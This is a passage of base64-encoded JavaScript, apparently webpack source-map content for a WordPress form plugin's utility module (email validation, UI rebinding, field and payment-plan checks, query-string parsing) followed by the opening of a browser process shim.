Y3RlciBhZnRlciB0aGUgZmlyc3QgcG9zaXRpb25cblx0aWYgKCB2YWx1ZS5pbmRleE9mKCAnQCcsIDEgKSA8IDAgKSB7XG5cdFx0cmV0dXJuIGZhbHNlO1xuXHR9XG5cblx0Ly8gU3BsaXQgb3V0IHRoZSBsb2NhbCBhbmQgZG9tYWluIHBhcnRzXG5cdGNvbnN0IHBhcnRzID0gdmFsdWUuc3BsaXQoICdAJywgMiApO1xuXG5cdC8vIExPQ0FMIFBBUlRcblx0Ly8gVGVzdCBmb3IgaW52YWxpZCBjaGFyYWN0ZXJzXG5cdGlmICggISBwYXJ0c1sgMCBdLm1hdGNoKCAvXlthLXpBLVowLTkhIyQlJicqK1xcLz0/Xl9ge3x9flxcLi1dKyQvICkgKSB7XG5cdFx0cmV0dXJuIGZhbHNlO1xuXHR9XG5cblx0Ly8gRE9NQUlOIFBBUlRcblx0Ly8gVGVzdCBmb3Igc2VxdWVuY2VzIG9mIHBlcmlvZHNcblx0aWYgKCBwYXJ0c1sgMSBdLm1hdGNoKCAvXFwuezIsfS8gKSApIHtcblx0XHRyZXR1cm4gZmFsc2U7XG5cdH1cblxuXHRjb25zdCBkb21haW4gPSBwYXJ0c1sgMSBdO1xuXHQvLyBTcGxpdCB0aGUgZG9tYWluIGludG8gc3Vic1xuXHRjb25zdCBzdWJzID0gZG9tYWluLnNwbGl0KCAnLicgKTtcblx0aWYgKCBzdWJzLmxlbmd0aCA8IDIgKSB7XG5cdFx0cmV0dXJuIGZhbHNlO1xuXHR9XG5cblx0Y29uc3Qgc3Vic0xlbiA9IHN1YnMubGVuZ3RoO1xuXHRmb3IgKCBsZXQgaSA9IDA7IGkgPCBzdWJzTGVuOyBpKysgKSB7XG5cdFx0Ly8gVGVzdCBmb3IgaW52YWxpZCBjaGFyYWN0ZXJzXG5cdFx0aWYgKCAhIHN1YnNbIGkgXS5tYXRjaCggL15bYS16MC05LV0rJC9pICkgKSB7XG5cdFx0XHRyZXR1cm4gZmFsc2U7XG5cdFx0fVxuXHR9XG5cdHJldHVybiB0cnVlO1xufVxuXG4vKipcbiAqIERpc3BsYXkgU1VJIEpTIEVsZW1lbnRzXG4gKiovXG5leHBvcnQgZnVuY3Rpb24gc3VpRGVsZWdhdGVFdmVudHMoKSB7XG5cdGlmICggJ29iamVjdCcgIT09IHR5cGVvZiB3aW5kb3cuU1VJICkge1xuXHRcdHJldHVybjtcblx0fVxuXG5cdC8vIFRpbWUgaXQgb3V0XG5cdHNldFRpbWVvdXQoIGZ1bmN0aW9uKCkge1xuXHRcdC8vIFJlYmluZCBBY2NvcmRpb24gc2NyaXB0c1xuXHRcdFNVSS5zdWlBY2NvcmRpb24oIGpRdWVyeSggJy5zdWktYWNjb3JkaW9uJyApICk7XG5cblx0XHQvLyBSZWJpbmQgVGFicyBzY3JpcHRzXG5cdFx0U1VJLnN1aVRhYnMoIGpRdWVyeSggJy5zdWktdGFicycgKSApO1xuXG5cdFx0Ly8gUmViaW5kIFNlbGVjdDIgc2NyaXB0cy5cblx0XHRqUXVlcnkoICdzZWxlY3Quc3VpLXNlbGVjdFtkYXRhLXRoZW1lPVwiaWNvblwiXScgKS5lYWNoKCBmdW5jdGlvbigpIHtcblx0XHRcdFNVSS5zZWxlY3QuaW5pdEljb24oIGpRdWVyeSggdGhpcyApICk7XG5cdFx0fSApO1xuXG5cdFx0alF1ZXJ5KCAnc2VsZWN0LnN1aS1zZWxlY3RbZGF0YS10aGVtZT1cImNvbG9yXCJdJyApLmVhY2goIGZ1bmN0aW9uKCkge1xuXHRcdFx0U1VJLnNlbGVjdC5pbml0Q29sb3IoIGpRdWVyeSggdGhpcyApICk7XG5cdFx0fSApO1xuXG5cdFx0alF1ZXJ5KCAnc2VsZWN0LnN1aS1zZWxlY3RbZGF0YS10aGVtZT1cInNlYXJjaFwiXScgKS5lYWNoKCBmdW5jdGlvbigpIHtcblx0XHRcdFNVSS5zZWxlY3QuaW5pdFNlYXJjaCggalF1ZXJ5KCB0aGlzICkgKTtcblx0XHR9ICk7XG5cblx0XHRqUXVlcnkoICdzZWxlY3Quc3VpLXNlbGVjdDpub3QoW2RhdGEtdGhlbWVdKTpub3QoLmN1c3RvbS1zZWxlY3QyKTpub3QoLmZ1aS1tdWx0aS1zZWxlY3QpJyApLmVhY2goIGZ1bmN0aW9uKCkge1xuXHRcdFx0U1VJLnNlbGVjdC5pbml0KCBqUXVlcnkoIHRoaXMgKSApO1xuXHRcdH0gKTtcblxuXHRcdC8vIFJlYmluZCBWYXJpYWJsZXMgc2NyaXB0cy5cblx0XHRqUXVlcnkoICdzZWxlY3Quc3VpLXZhcmlhYmxlcycgKS5lYWNoKCBmdW5jdGlvbigpIHtcblx0XHRcdFNVSS5zZWxlY3QuaW5pdFZhcnMoIGpRdWVyeSggdGhpcyApICk7XG5cdFx0fSApO1xuXG5cdFx0Ly8gUmViaW5kIENpcmNsZSBzY3JpcHRzXG5cdFx0U1VJLmxvYWRDaXJjbGVTY29yZSggalF1ZXJ5KCAnLnN1aS1jaXJjbGUtc2NvcmUnICkgKTtcblxuXHRcdC8vIFJlYmluZCBQYXNzd29yZCBzY3JpcHRzXG5cdFx0U1VJLnNob3dIaWRlUGFzc3dvcmQoKTtcblx0fSwgNTAgKTtcbn1cblxuLyoqXG4gKiBSZXR1cm5zIGNoYXJ0IHR5cGUgZnJvbSBzZXR0aW5nc1xuICpcbiAqIEBwYXJhbSB7YXJyYXl9IHNldHRpbmdzIFNldHRpbmdzIGFycmF5XG4gKlxuICogQHJldHVybiB7c3RyaW5nfSBDaGFydCB0eXBlXG4gKi9cbmV4cG9ydCBmdW5jdGlvbiBnZXRDaGFydFR5cGUoIHNldHRpbmdzICkge1xuXHRsZXQgdHlwZSA9ICdub25lJztcblxuXHRpZiAoIHR5cGVvZiBzZXR0aW5nc1sgJ3Jlc3VsdHMtYmVoYXYnIF0gJiYgdHlwZW9mIHNldHRpbmdzWyAncmVzdWx0cy1zdHlsZScgXSApIHtcblx0XHRpZiAoIHNldHRpbmdzWyAncmVzdWx0cy1iZWhhdicgXSA9PT0gJ2xpbmtfb24nIHx8IHNldHRpbmdzWyAncmVzdWx0cy1iZWhhdicgXSA9PT0gJ3Nob3dfYWZ0ZXInICkge1xuXHRcdFx0dHlwZSA9IHNldHRpbmdzWyAncmVzdWx0cy1zdHlsZScgXTtcblx0XHR9XG5cdH1cblxuXHRyZXR1cm4gdHlwZTtcbn1cblxuLyoqXG4gKiBSZXR1cm5zIGFycmF5IG9mIGNhbGN1bGF0aW9uIGZpZWxkc1xuICpcbiAqIEBwYXJhbSB7YXJyYXl9IHdyYXBwZXJzIGN1cnJlbnQgd3JhcHBlcnNcbiAqXG4gKiBAcmV0dXJuIHthcnJheX1cbiAqKi9cbmV4cG9ydCBmdW5jdGlvbiBnZXRDYWxjdWxhdGlvbkZpZWxkcyggd3JhcHBlcnMgKSB7XG5cdGNvbnN0IGRpc2FibGVkID0gW107XG5cblx0Ly8gUHVzaCBkaXNhYmxlZCBmaWVsZHNcblx0Xy5lYWNoKCBmb3JtaW5hdG9yRGF0YS5maWVsZHMsIGZpZWxkID0+IHtcblx0XHRpZiAoIGZpZWxkLnR5cGUgIT09ICdjYWxjdWxhdGlvbicgKSB7XG5cdFx0XHRkaXNhYmxlZC5wdXNoKCBmaWVsZC50eXBlICk7XG5cdFx0fVxuXHR9ICk7XG5cblx0cmV0dXJuIGdldEZpZWxkcyggd3JhcHBlcnMsIGRpc2FibGVkICk7XG59XG5cbi8qKlxuICogRGlzcGxheSBTZWxlY3QyIHdpdGggbXVsdGlwbGUgdGFnc1xuICpcbiAqIEBwYXJhbSB7alF1ZXJ5fSAkZWwgalF1ZXJ5IHdyYXBwZXIgZWwgdG8gZmluZFxuICogQHBhcmFtIHtvYmplY3R9IG9wdGlvbnMgU2VsZWN0MiBvcHRpb25zXG4gKiovXG5leHBvcnQgZnVuY3Rpb24gc2VsZWN0MlRhZ3MoICRlbCwgb3B0aW9ucyApIHtcblx0b3B0aW9ucyA9IF8uZGVmYXVsdHMoIG9wdGlvbnMsIHtcblx0XHRhbGxvd0NsZWFyOiB0cnVlLFxuXHRcdGRyb3Bkb3duQ3NzQ2xhc3M6ICdzdWktc2VsZWN0LWRyb3Bkb3duJyxcblx0fSApO1xuXG5cdC8vIFNFTEVDVDIgZm9ybWluYXRvci11aS10YWdzXG5cdCRlbC5maW5kKCAnc2VsZWN0LnN1aS1zZWxlY3QuZnVpLW11bHRpLXNlbGVjdCcgKS5lYWNoKCBmdW5jdGlvbigpIHtcblx0XHQvLyByZW9yZGVyLXN1cHBvcnQsIGl0IHdpbGwgcHJlc2VydmUgb3JkZXIgYmFzZWQgb24gdXNlciB0YWdzIGFkZGVkXG5cdFx0aWYgKCBqUXVlcnkoIHRoaXMgKS5hdHRyKCAnZGF0YS1yZW9yZGVyJyApICkge1xuXHRcdFx0alF1ZXJ5KCB0aGlzICkub24oICdzZWxlY3QyOnNlbGVjdCcsIGZ1bmN0aW9uKCBlICkge1xuXHRcdFx0XHRjb25zdCBlbG0gPSBlLnBhcmFtcy5kYXRhLmVsZW1lbnQsXG5cdFx0XHRcdFx0JGVsbSA9IGpRdWVyeSggZWxtICksXG5cdFx0XHRcdFx0JHQgPSBqUXVlcnkoIHRoaXMgKTtcblx0XHRcdFx0JHQuYXBwZW5kKCAkZWxtICk7XG5cdFx0XHRcdCR0LnRyaWdnZXIoICdjaGFuZ2Uuc2VsZWN0MicgKTtcblx0XHRcdH0gKTtcblx0XHR9XG5cdFx0alF1ZXJ5KCB0aGlzICkuU1VJc2VsZWN0Miggb3B0aW9ucyApO1xuXHR9ICk7XG59XG5cbi8qKlxuICogUmV0dXJucyBpZiBmaWVsZCBpcyByZXF1aXJlZFxuICpcbiAqIEBwYXJhbSB7b2JqZWN0fSBmaWVsZCBmaWVsZFxuICpcbiAqIEByZXR1cm4ge2Jvb2x9XG4gKiovXG5leHBvcnQgZnVuY3Rpb24gaXNGaWVsZFJlcXVpcmVkKCBmaWVsZCApIHtcblx0Ly8gSGFuZGxlIG5hbWUgZmllbGQgc3ViIGZpZWxkc1xuXHRpZiAoIGZpZWxkLnR5cGUgPT09ICduYW1lJyApIHtcblx0XHRpZiAoIGZpZWxkLm11bHRpcGxlX25hbWUgPT09ICd0cnVlJyB8fCBmaWVsZC5tdWx0aXBsZV9uYW1lID09PSB0cnVlICkge1xuXHRcdFx0Ly8gV2UgaGF2ZSBtdWx0aSBmaWVsZFxuXG5cdFx0XHRpZiAoIGZpZWxkWyAncHJlZml4X3JlcXVpcmVkJyBdIHx8XG5cdFx0XHRcdGZpZWxkWyAnZm5hbWVfcmVxdWlyZWQnIF0gfHxcblx0XHRcdFx0ZmllbGRbICdtbmFtZV9yZXF1aXJlZCcgXSB8fFxuXHRcdFx0XHRmaWVsZFsgJ2xuYW1lX3JlcXVpcmVkJyBdXG5cdFx0XHQpIHtcblx0XHRcdFx0cmV0dXJuIHRydWU7XG5cdFx0XHR9IGVsc2Uge1xuXHRcdFx0XHRyZXR1cm4gZmFsc2U7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cblx0Ly8gSGFuZGxlIG5hbWUgZmllbGQgc3ViIGZpZWxkc1xuXHRpZiAoIGZpZWxkLnR5cGUgPT09ICdhZGRyZXNzJyApIHtcblx0XHRpZiAoIGZpZWxkWyAnc3RyZWV0X2FkZHJlc3NfcmVxdWlyZWQnIF0gfHxcblx0XHRcdGZpZWxkWyAnYWRkcmVzc19saW5lX3JlcXVpcmVkJyBdIHx8XG5cdFx0XHRmaWVsZFsgJ2FkZHJlc3NfY2l0eV9yZXF1aXJlZCcgXSB8fFxuXHRcdFx0ZmllbGRbICdhZGRyZXNzX3N0YXRlX3JlcXVpcmVkJyBdIHx8XG5cdFx0XHRmaWVsZFsgJ2FkZHJlc3NfemlwX3JlcXVpcmVkJyBdIHx8XG5cdFx0XHRmaWVsZFsgJ2FkZHJlc3NfY291bnRyeV9yZXF1aXJlZCcgXVxuXHRcdCkge1xuXHRcdFx0cmV0dXJuIHRydWU7XG5cdFx0fSBlbHNlIHtcblx0XHRcdHJldHVybiBmYWxzZTtcblx0XHR9XG5cdH1cblxuXHQvLyBGYWxsYmFjayB0byBkZWZhdWx0IHJlcXVpcmVkIHByb3Bcblx0cmV0dXJuIGZpZWxkLnJlcXVpcmVkO1xufVxuXG4vKlxuICogUmV0dXJucyBpZiBmb3JtIGhhcyBhIGZpZWxkIHdpdGggcmVxdWVzdGVkIGF0dHJpYnV0ZSBhbmQgdGhlIHJlcXVlc3RlZCB2YWx1ZVxuICovXG5leHBvcnQgZnVuY3Rpb24gaGFzRmllbGRXaXRoQXR0cmlidXRlKCB3cmFwcGVycywgdHlwZSwgYXR0cmlidXRlLCB2YWx1ZSApIHtcblx0bGV0IGNvdW50ZXIgPSAwO1xuXG5cdGlmICggaXNHbG9iYWxQcmVzZXQoIHdyYXBwZXJzICkgKSB7XG5cdFx0cmV0dXJuIHRydWU7XG5cdH1cblxuXHR3cmFwcGVycy5tYXAoIHdyYXBwZXIgPT4ge1xuXHRcdHdyYXBwZXIuZmllbGRzLm1hcCggZmllbGQgPT4ge1xuXHRcdFx0aWYgKCB0eXBlID09PSBmaWVsZC50eXBlICYmIHZhbHVlID09PSBmaWVsZFsgYXR0cmlidXRlIF0gKSB7XG5cdFx0XHRcdGNvdW50ZXIrKztcblx0XHRcdH1cblx0XHR9ICk7XG5cdH0gKTtcblxuXHRyZXR1cm4gY291bnRlciA+IDA7XG59XG5cbi8qXG4gKiBSZXR1cm5zIGlmIGZvcm0gaGFzIGEgZmllbGQgd2l0aCBtdWx0aXBsZSBjYXRlZ29yeVxuICovXG5leHBvcnQgZnVuY3Rpb24gaGFzUG9zdGRhdGFGaWVsZFdpdGhNdWx0aXNlbGVjdCggd3JhcHBlcnMgKSB7XG5cdGxldCBjb3VudGVyID0gMDtcblxuXHRpZiAoIGlzR2xvYmFsUHJlc2V0KCB3cmFwcGVycyApICkge1xuXHRcdHJldHVybiB0cnVlO1xuXHR9XG5cblx0d3JhcHBlcnMubWFwKCB3cmFwcGVyID0+IHtcblx0XHR3cmFwcGVyLmZpZWxkcy5tYXAoIGZpZWxkID0+IHtcblx0XHRcdGNvbnN0IHBvc3RfY2F0ZWdvcnkgPSBmb3JtaW5hdG9yRGF0YS5wb3N0Q2F0ZWdvcmllc1sgZmllbGQucG9zdF90eXBlIF07XG5cdFx0XHRpZiggdHlwZW9mIHBvc3RfY2F0ZWdvcnkgIT09ICd1bmRlZmluZWQnICkge1xuXHRcdFx0XHRwb3N0X2NhdGVnb3J5Lm1hcCggY2F0ZWdvcnkgPT4ge1xuXHRcdFx0XHRcdGNvbnN0IGNhdGVnb3J5X2tleSA9IGNhdGVnb3J5LnZhbHVlICsgJ19tdWx0aXBsZSc7XG5cdFx0XHRcdFx0aWYoIDEgPT09IHBhcnNlSW50KCBmaWVsZFsgY2F0ZWdvcnlfa2V5IF0gKSApIHtcblx0XHRcdFx0XHRcdGNvdW50ZXIrKztcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH0gKTtcblx0XHRcdH1cblx0XHR9ICk7XG5cdH0gKTtcblxuXHRyZXR1cm4gY291bnRlciA+IDA7XG59XG5cbi8qKlxuICogUmV0dXJucyBhcnJheSBvZiBwZXJzb25hbGl0eSBxdWVzdGlvbnNcbiAqXG4gKiBAcGFyYW0ge2FycmF5fVxuICpcbiAqIEByZXR1cm4ge2FycmF5fVxuICoqL1xuZXhwb3J0IGZ1bmN0aW9uIGdldFBlcnNvbmFsaXR5UXVlc3Rpb25zKCBjdXJyZW50UGVyc29uYWxpdHksIHF1ZXN0aW9ucyApIHtcblx0Y29uc3QgcGVyc29uYWxpdHlTbHVnID0gY3VycmVudFBlcnNvbmFsaXR5LnNsdWc7XG5cdGxldCBxdWVzdGlvbnNBcnJheSA9IFtdO1xuXG5cdGlmICggISBfLmlzRW1wdHkoIHF1ZXN0aW9ucyApICkge1xuXHRcdF8uZWFjaCggcXVlc3Rpb25zLCBmdW5jdGlvbiggcXVlc3Rpb24sIGtleVF1ZXN0aW9uICkge1xuXHRcdFx0aWYgKCAhIF8uaXNFbXB0eSggcXVlc3Rpb24uYW5zd2VycyApICkge1xuXHRcdFx0XHRfLmVhY2goIHF1ZXN0aW9uLmFuc3dlcnMsIGZ1bmN0aW9uKCBhbnN3ZXIsIGtleUFuc3dlciApIHtcblx0XHRcdFx0XHRpZiAoIGFuc3dlci5yZXN1bHQgPT09IHBlcnNvbmFsaXR5U2x1ZyApIHtcblx0XHRcdFx0XHRcdHF1ZXN0aW9uc0FycmF5LnB1c2goIHtcblx0XHRcdFx0XHRcdFx0dGl0bGU6IHF1ZXN0aW9uLnRpdGxlLFxuXHRcdFx0XHRcdFx0XHRzbHVnOiBxdWVzdGlvbi5zbHVnLFxuXHRcdFx0XHRcdFx0XHRxdWVzdGlvbjogcXVlc3Rpb24sXG5cdFx0XHRcdFx0XHR9ICk7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9ICk7XG5cdFx0XHR9XG5cdFx0fSApO1xuXHRcdHF1ZXN0aW9uc0FycmF5ID0gXy51bmlxKCBxdWVzdGlvbnNBcnJheSwgJ3NsdWcnICk7XG5cdH1cblxuXHRyZXR1cm4gcXVlc3Rpb25zQXJyYXk7XG59XG5cbi8qKlxuICogR2V0IHBheW1lbnQgcGxhbiB2YWxpZGF0aW9uXG4gKlxuICogQHBhcmFtIHthcnJheX0gdmFsaWRhdGlvblxuICogQHBhcmFtIHthcnJheX0gcGF5bWVudHNcbiAqXG4gKiBAcmV0dXJuIHthcnJheX1cbiAqL1xuZXhwb3J0IGZ1bmN0aW9uIGdldFBsYW5WYWxpZGF0aW9uKCB2YWxpZGF0aW9uLCBwYXltZW50cyApIHtcblxuXHRsZXQgcGF5bWVudEluZGV4ID0gW107XG5cblx0Xy5lYWNoKCBwYXltZW50cywgZnVuY3Rpb24oIHBheW1lbnQsIGluZGV4ICkge1xuXHRcdGlmICggISBwYXltZW50LmFtb3VudF90eXBlIHx8ICEgcGF5bWVudC5wbGFuX25hbWUgKSB7XG5cdFx0XHR2YWxpZGF0aW9uLmVycm9yID0gdHJhbnNsYXRlKCAnUGxlYXNlIGZpeCB0aGUgZXJyb3IocykgaW4gdGhlIFNFVFRJTkdTIHRhYi4nICk7XG5cdFx0XHR2YWxpZGF0aW9uLmlzVmFsaWQgPSBmYWxzZTtcblx0XHRcdHBheW1lbnRJbmRleC5wdXNoKCBpbmRleCApO1xuXHRcdH1cblxuXHRcdGlmICggJ3NpbmdsZScgPT09IHBheW1lbnQucGF5bWVudF9tZXRob2QgJiZcblx0XHRcdCggKCAnZml4ZWQnID09PSBwYXltZW50LmFtb3VudF90eXBlICYmIF8uaXNFbXB0eSggcGF5bWVudC5hbW91bnQgKSApIHx8XG5cdFx0XHRcdCggJ3ZhcmlhYmxlJyA9PT0gcGF5bWVudC5hbW91bnRfdHlwZSAmJiBfLmlzRW1wdHkoIHBheW1lbnQudmFyaWFibGUgKSApXG5cdFx0XHQpXG5cdFx0KSB7XG5cdFx0XHR2YWxpZGF0aW9uLmVycm9yID0gdHJhbnNsYXRlKCAnUGxlYXNlIGZpeCB0aGUgZXJyb3IocykgaW4gdGhlIFNFVFRJTkdTIHRhYi4nICk7XG5cdFx0XHR2YWxpZGF0aW9uLmlzVmFsaWQgPSBmYWxzZTtcblx0XHRcdHBheW1lbnRJbmRleC5wdXNoKCBpbmRleCApO1xuXHRcdH0gZWxzZSBpZiAoICdzdWJzY3JpcHRpb24nID09PSBwYXltZW50LnBheW1lbnRfbWV0aG9kICkge1xuXHRcdFx0Y29uc3Qgc3Vic2NyaXB0aW9uQW1vdW50ID0gISBfLmlzVW5kZWZpbmVkKCBwYXltZW50LnN1YnNjcmlwdGlvbl9hbW91bnRfdHlwZSApXG5cdFx0XHRcdD8gcGF5bWVudC5zdWJzY3JpcHRpb25fYW1vdW50X3R5cGVcblx0XHRcdFx0OiAnZml4ZWQnO1xuXHRcdFx0Y29uc3Qgc3Vic2NyaXB0aW9uUXVhbnRpdHkgPSAhIF8uaXNVbmRlZmluZWQoIHBheW1lbnQucXVhbnRpdHlfdHlwZSApXG5cdFx0XHRcdD8gcGF5bWVudC5xdWFudGl0eV90eXBlXG5cdFx0XHRcdDogJ2ZpeGVkJztcblx0XHRcdGNvbnN0IFF1YW50aXR5ID0gISBfLmlzVW5kZWZpbmVkKCBwYXltZW50LnF1YW50aXR5IClcblx0XHRcdFx0PyBwYXltZW50LnF1YW50aXR5XG5cdFx0XHRcdDogMTtcblx0XHRcdGNvbnN0IEJpbGxJbnB1dCA9ICEgXy5pc1VuZGVmaW5lZCggcGF5bWVudC5iaWxsX2lucHV0IClcblx0XHRcdFx0PyBwYXltZW50LmJpbGxfaW5wdXRcblx0XHRcdFx0OiAxO1xuXHRcdFx0aWYgKCAoICdmaXhlZCcgPT09IHN1YnNjcmlwdGlvbkFtb3VudCAmJiBfLmlzRW1wdHkoIHBheW1lbnQuc3Vic2NyaXB0aW9uX2Ftb3VudCApICkgfHxcblx0XHRcdFx0KCAndmFyaWFibGUnID09PSBzdWJzY3JpcHRpb25BbW91bnQgJiYgXy5pc0VtcHR5KCBwYXltZW50LnN1YnNjcmlwdGlvbl92YXJpYWJsZSApIClcblx0XHRcdCkge1xuXHRcdFx0XHR2YWxpZGF0aW9uLmVycm9yID0gdHJhbnNsYXRlKCAnUGxlYXNlIGZpeCB0aGUgZXJyb3IocykgaW4gdGhlIFNFVFRJTkdTIHRhYi4nICk7XG5cdFx0XHRcdHZhbGlkYXRpb24uaXNWYWxpZCA9IGZhbHNlO1xuXHRcdFx0XHRwYXltZW50SW5kZXgucHVzaCggaW5kZXggKTtcblx0XHRcdH1cblx0XHRcdGlmICggKCAnZml4ZWQnID09PSBzdWJzY3JpcHRpb25RdWFudGl0eSAmJiAhIFF1YW50aXR5ICkgfHxcblx0XHRcdFx0KCAndmFyaWFibGUnID09PSBzdWJzY3JpcHRpb25RdWFudGl0eSAmJiBfLmlzRW1wdHkoIHBheW1lbnQudmFyaWFibGVfcXVhbnRpdHkgKSApXG5cdFx0XHQpIHtcblx0XHRcdFx0dmFsaWRhdGlvbi5lcnJvciA9IHRyYW5zbGF0ZSggJ1BsZWFzZSBmaXggdGhlIGVycm9yKHMpIGluIHRoZSBTRVRUSU5HUyB0YWIuJyApO1xuXHRcdFx0XHR2YWxpZGF0aW9uLmlzVmFsaWQgPSBmYWxzZTtcblx0XHRcdFx0cGF5bWVudEluZGV4LnB1c2goIGluZGV4ICk7XG5cdFx0XHR9XG5cdFx0XHRpZiAoICEgQmlsbElucHV0ICkge1xuXHRcdFx0XHR2YWxpZGF0aW9uLmVycm9yID0gdHJhbnNsYXRlKCAnUGxlYXNlIGZpeCB0aGUgZXJyb3IocykgaW4gdGhlIFNFVFRJTkdTIHRhYi4nICk7XG5cdFx0XHRcdHZhbGlkYXRpb24uaXNWYWxpZCA9IGZhbHNlO1xuXHRcdFx0XHRwYXltZW50SW5kZXgucHVzaCggaW5kZXggKTtcblx0XHRcdH0gZWxzZSBpZiAoIEJpbGxJbnB1dCA8PSAwICkge1xuXHRcdFx0XHR2YWxpZGF0aW9uLmVycm9yID0gdHJhbnNsYXRlKCAnQmlsbGluZyBmcmVxdWVuY3kgc2hvdWxkIGJlIGdyZWF0ZXIgdGhhbiBvciBlcXVhbCB0byAxJyApO1xuXHRcdFx0XHR2YWxpZGF0aW9uLmlzVmFsaWQgPSBmYWxzZTtcblx0XHRcdFx0cGF5bWVudEluZGV4LnB1c2goIGluZGV4ICk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9ICk7XG5cblx0aWYgKCBwYXltZW50SW5kZXgubGVuZ3RoID4gMCApIHtcblx0XHR2YWxpZGF0aW9uLnBheW1lbnRLZXkgPSBwYXltZW50SW5kZXg7XG5cdH1cblxuXHRyZXR1cm4gdmFsaWRhdGlvbjtcbn1cblxuLyoqXG4gKiBDaGVjayBpZiB2YWx1ZSBldmFsdWF0ZXMgdG8gdHJ1ZVxuICpcbiAqIEBwYXJhbSB7c3RyaW5nfSB2YWx1ZVxuICpcbiAqIEByZXR1cm4ge2Jvb2x9XG4gKi9cbmV4cG9ydCBmdW5jdGlvbiBpc1RydWUgKCB2YWx1ZSApe1xuICAgIGlmICggJ3VuZGVmaW5lZCcgPT09IHR5cGVvZiggdmFsdWUgKSApIHtcblx0XHRyZXR1cm4gZmFsc2U7XG4gICAgfVxuICAgIGlmICggJ3N0cmluZycgPT09IHR5cGVvZiggdmFsdWUgKSApIHtcbiAgICBcdHZhbHVlID0gdmFsdWUudHJpbSgpLnRvTG93ZXJDYXNlKCk7XG4gICAgfVxuXG4gICAgc3dpdGNoKCB2YWx1ZSApe1xuICAgICAgICBjYXNlIHRydWU6XG4gICAgICAgIGNhc2UgXCJ0cnVlXCI6XG4gICAgICAgIGNhc2UgMTpcbiAgICAgICAgY2FzZSBcIjFcIjpcbiAgICAgICAgY2FzZSBcIm9uXCI6XG4gICAgICAgIGNhc2UgXCJ5ZXNcIjpcbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICBkZWZhdWx0OlxuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cbn1cblxuLyoqXG4gKiBQYXJzZSBxdWVyeSBzdHJpbmdcbiAqICpcbiAqIEByZXR1cm4ge3N0cmluZ31cbiAqL1xuZXhwb3J0IGZ1bmN0aW9uIHBhcnNlUXVlcnlTdHJpbmcgKCkge1xuXHR2YXIgcGFyc2VkUGFyYW1ldGVycyA9IHt9LFxuXHRcdHVyaVBhcmFtZXRlcnMgPSBsb2NhdGlvbi5zZWFyY2guc3Vic3RyaW5nKDEpLnNwbGl0KCcmJyk7XG5cblx0Zm9yICh2YXIgaSA9IDA7IGkgPCB1cmlQYXJhbWV0ZXJzLmxlbmd0aDsgaSsrKSB7XG5cdFx0dmFyIHBhcmFtZXRlciA9IHVyaVBhcmFtZXRlcnNbaV0uc3BsaXQoJz0nKTtcblx0XHRwYXJzZWRQYXJhbWV0ZXJzW3BhcmFtZXRlclswXV0gPSBkZWNvZGVVUklDb21wb25lbnQocGFyYW1ldGVyWzFdKTtcblx0fVxuXG5cdHJldHVybiBwYXJzZWRQYXJhbWV0ZXJzO1xufVxuXG4vKiogR28gdG8gbGlua1xuICpcbiAqIEBwYXJhbSB7c3RyaW5nfSB2YWx1ZVxuICpcbiAqL1xuZXhwb3J0IGZ1bmN0aW9uIGdvVG9MaW5rICggbGluaywgdGFyZ2V0ID0gJ19ibGFuaycgKSB7XG5cdHdpbmRvdy5vcGVuKCBsaW5rLCB0YXJnZXQgKTtcbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy91dGlscy5qcyIsIi8vIHNoaW0gZm9yIHVzaW5nIHByb2Nlc3MgaW4gYnJvd3NlclxudmFyIHByb2Nlc3MgPSBtb2R1bGUuZXhwb3J0cyA9IHt9O1xuXG4vLyBjYWNoZWQgZnJvbSB3aGF0ZXZlciBnbG9iYWwgaXMgcHJlc2VudCBzbyB0aGF0IHRlc3QgcnVubmVycyB0aGF0IHN0dWIgaXRcbi8vIGRvbid0IGJyZWFrIHRoaW5ncy4gIEJ1dCB3ZSBuZWVkIHRvIHdyYXAgaXQgaW4gYSB0cnkgY2F0Y2ggaW4gY2FzZSBpdCBpc1xuLy8gd3JhcHBlZCBpbiBzdHJpY3QgbW9kZSBjb2RlIHdoaWNoIGRvZXNuJ3QgZGVmaW5lIGFueSBnbG9iYWxzLiAgSXQncyBpbnNpZGUgYVxuLy8gZnVuY3Rpb24gYmVjYXVzZSB0cnkvY2F0Y2hlcyBkZW9wdGltaXplIGluIGNlcnRhaW4gZW5naW5lcy5cblxudmFyIGNhY2hlZFNldFRpbWVvdXQ7XG52YXIgY2FjaGVkQ2xlYXJUaW1lb3V0O1xuXG5mdW5jdGlvbiBkZWZhdWx0U2V0VGltb3V0KCkge1xuICAgIHRocm93IG5ldyBFcnJvcignc2V0VGltZW91dCBoYXMgbm90IGJlZW4gZGVmaW5lZCcpO1xufVxuZnVuY3Rpb24gZGVmYXVsdENsZWFyVGltZW91dCAoKSB7XG4gICAgdGhyb3cgbmV3IEVycm9yKCdjbGVhclRpbWVvdXQgaGFzIG5vdCBiZWVuIGRlZmluZWQnKTtcbn1cbihmdW5jdGlvbiAoKSB7XG4gICAgdHJ5IHtcbiAgICAgICAgaWYgKHR5cGVvZiBzZXRUaW1lb3V0ID09PSAnZnVuY3Rpb24nKSB7XG4gICAgICAgICAgICBjYWNoZWRTZXRUaW1lb3V0ID0gc2V0VGltZW91dDtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGNhY2hlZFNldFRpbWVvdXQgPSBkZWZhdWx0U2V0VGltb3V0O1xuICAgICAgICB9XG4gICAgfSBjYXRjaCAoZSkge1xuICAgICAgICBjYWNoZWRTZXRUaW1lb3V0ID0gZGVmYXVsdFNldFRpbW91dDtcbiAgICB9XG4gICAgdHJ5IHtcbiAgICAgICAgaWYgKHR5cGVvZiBjbGVhclRpbWVvdXQgPT09ICdmdW5jdGlvbicpIHtcbiAgICAgICAgICAgIGNhY2hlZENsZWFyVGltZW91dCA9IGNsZWFyVGltZW91dDtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGNhY2hlZENsZWFyVGltZW91dCA9IGRlZmF1bHRDbGVhclRpbWVvdXQ7XG4gICAgICAgIH1cbiAgICB9IGNhdGNoIChlKSB7XG4gICAgICAgIGNhY2hlZENsZWFyVGltZW91dCA9IGRlZmF1bHRDbGVhclRpbWV